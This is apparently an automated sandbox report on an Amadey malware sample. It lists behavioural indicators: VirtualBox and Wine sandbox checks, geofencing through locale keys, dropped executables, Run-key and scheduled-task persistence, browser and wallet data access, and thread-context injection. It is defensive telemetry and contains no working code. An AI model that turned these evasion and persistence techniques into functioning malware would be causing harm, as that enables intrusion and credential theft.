amadey | 5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e

Virtualization/Sandbox Evasion

Processes:

axplong.exeaxplong.exeexplorti.exeexplorti.exeaxplong.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exec5d6d3a173.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c5d6d3a173.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

explorti.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exec5d6d3a173.exeaxplong.exeaxplong.exeexplorti.exeaxplong.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c5d6d3a173.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c5d6d3a173.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

explorti.exe73b79a2459.exec5d6d3a173.exeaxplong.exeRegAsm.exedropperrr.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exejsawdtyjde.execlamer.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	explorti.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	73b79a2459.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	c5d6d3a173.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	dropperrr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	jsawdtyjde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	clamer.exe

Executes dropped EXE 23 IoCs

Processes:

explorti.exe73b79a2459.exe84743dcfde.exec5d6d3a173.exeaxplong.exejsawdtyjde.execlamer.exedeepweb.exethkdh.exeaxplong.exeexplorti.exeagpphek.exepureee.exeadada.exedropperrr.exesvchost.exeexplorti.exeaxplong.exepython_x86_Lib.exeITSMService.exeITSMAgent.exeITSMAgent.exeITSMAgent.exe

pid	process
2144	explorti.exe
4824	73b79a2459.exe
6056	84743dcfde.exe
5680	c5d6d3a173.exe
6328	axplong.exe
6696	jsawdtyjde.exe
6884	clamer.exe
6980	deepweb.exe
7080	thkdh.exe
6176	axplong.exe
664	explorti.exe
7024	agpphek.exe
6712	pureee.exe
5072	adada.exe
4048	dropperrr.exe
7036	svchost.exe
7920	explorti.exe
7916	axplong.exe
8188	python_x86_Lib.exe
6896	ITSMService.exe
7240	ITSMAgent.exe
2380	ITSMAgent.exe
4080	ITSMAgent.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

c5d6d3a173.exeaxplong.exeaxplong.exeexplorti.exeexplorti.exeaxplong.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	c5d6d3a173.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key opened	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine	explorti.exe

Loads dropped DLL 62 IoCs

Processes:

MsiExec.exeMsiExec.exeITSMService.exeITSMAgent.exeITSMAgent.exeITSMAgent.exe

pid	process
6920	MsiExec.exe
6920	MsiExec.exe
6920	MsiExec.exe
6920	MsiExec.exe
7824	MsiExec.exe
7824	MsiExec.exe
7824	MsiExec.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
2380	ITSMAgent.exe
2380	ITSMAgent.exe
2380	ITSMAgent.exe
2380	ITSMAgent.exe
2380	ITSMAgent.exe
2380	ITSMAgent.exe
7240	ITSMAgent.exe
2380	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
7240	ITSMAgent.exe
4080	ITSMAgent.exe
4080	ITSMAgent.exe
7824	MsiExec.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explorti.exemsiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\73b79a2459.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\73b79a2459.exe"	explorti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\84743dcfde.exe = "C:\\Users\\Admin\\1000029002\\84743dcfde.exe"	explorti.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Endpoint Manager = "C:\\Program Files (x86)\\COMODO\\Endpoint Manager\\ITSMAgent.exe"	msiexec.exe

Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exe

flow pid process

234 5684 msiexec.exe
236 5684 msiexec.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

flow	pid	process
234	5684	msiexec.exe
236	5684	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Drops file in System32 directory 2 IoCs

Processes:

chrome.exe

description	ioc	process
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

Processes:

5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exe84743dcfde.exec5d6d3a173.exeaxplong.exeaxplong.exeexplorti.exeexplorti.exeaxplong.exe

pid	process
3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
2144	explorti.exe
6056	84743dcfde.exe
5680	c5d6d3a173.exe
6328	axplong.exe
6176	axplong.exe
664	explorti.exe
7920	explorti.exe
7916	axplong.exe

Suspicious use of SetThreadContext 15 IoCs

Processes:

deepweb.exepureee.exe

description	pid	process	target process
PID 6980 set thread context of 7128	6980	deepweb.exe	RegAsm.exe
PID 6712 set thread context of 2296	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7468	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 6824	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7344	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7156	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7668	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7888	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 8148	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 6832	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 2112	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 1156	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7432	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 3296	6712	pureee.exe	AddInProcess.exe
PID 6712 set thread context of 7072	6712	pureee.exe	AddInProcess.exe

Drops file in Program Files directory 64 IoCs

Processes:

python_x86_Lib.exemsiexec.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\cookielib.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\command\bdist_wininst.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Mariehamn	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\xmllib.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\cachecontrol\wrapper.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Argentina\Mendoza	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Metlakatla	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Antarctica\McMurdo	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Hebron	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Etc\GMT+4	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\dumbdbm.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\nl.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Pacific\Fakaofo	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\ctypes\macholib\framework.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_reduce.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\Grammar.txt	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Brazzaville	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\widget	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\comdlg.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\utils\__init__.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\smtplib.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\distlib\database.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\__init__.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\urllib3\packages\ssl_match_hostname\_implementation.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\__init__.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pkgIndex.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\Shell.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\_markerlib	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\config-highlight.def	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\ttk\combobox.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\urllib3\packages\ssl_match_hostname\__init__.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\toolbar.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\launcher manifest.xml	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Indiana\Vincennes	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\aniwave.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\plot.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\kok_in.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\CObjView.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\virtualprinter\rcvirtualprintdriver.cat	msiexec.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\config-keys.def	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\sanitizer.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Argentina\ComodRivadavia	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Grand_Turk	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\samples\Control.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\archive_util.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\mailcap.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\cp949prober.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\kw.msg	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Belgrade	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\xml\sax\expatreader.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\bsddb\dbrecio.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip-7.1.2.dist-info\WHEEL	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\utils\ui.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\sunaudio.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Pacific\Galapagos	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\TK.csc	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Samarkand	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\packaging\_compat.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\__main__.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\cp737.enc	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\ro.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Cayman	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\tixwidgets.tcl	python_x86_Lib.exe

Drops file in Windows directory 22 IoCs

Processes:

msiexec.exeMsiExec.exethkdh.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exec5d6d3a173.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSIE9BA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEC3F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF17F.tmp	msiexec.exe
File created	C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico	msiexec.exe
File created	C:\Windows\Installer\e59e72c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59e72a.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}	msiexec.exe
File created	C:\Windows\Installer\wix{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSIF1FD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFB55.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI26B.tmp	msiexec.exe
File created	C:\Windows\Installer\e59e72a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Tasks\Test Task17.job	thkdh.exe
File opened for modification	C:\Windows\Installer\MSIEA09.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEB91.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBFF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico	msiexec.exe
File created	C:\Windows\Tasks\explorti.job	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
File created	C:\Windows\Tasks\axplong.job	c5d6d3a173.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

6284 6056 WerFault.exe 84743dcfde.exe

pid	pid_target	process	target process
6284	6056	WerFault.exe	84743dcfde.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

explorti.exe84743dcfde.exeMsiExec.exeMsiExec.exeITSMService.exe73b79a2459.exec5d6d3a173.exeRegAsm.execmd.exeITSMAgent.exeaxplong.exethkdh.exeagpphek.exedropperrr.execmd.exepython_x86_Lib.exe5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exedeepweb.exeITSMAgent.exeITSMAgent.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorti.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	84743dcfde.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	73b79a2459.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5d6d3a173.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thkdh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	agpphek.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dropperrr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_x86_Lib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	deepweb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
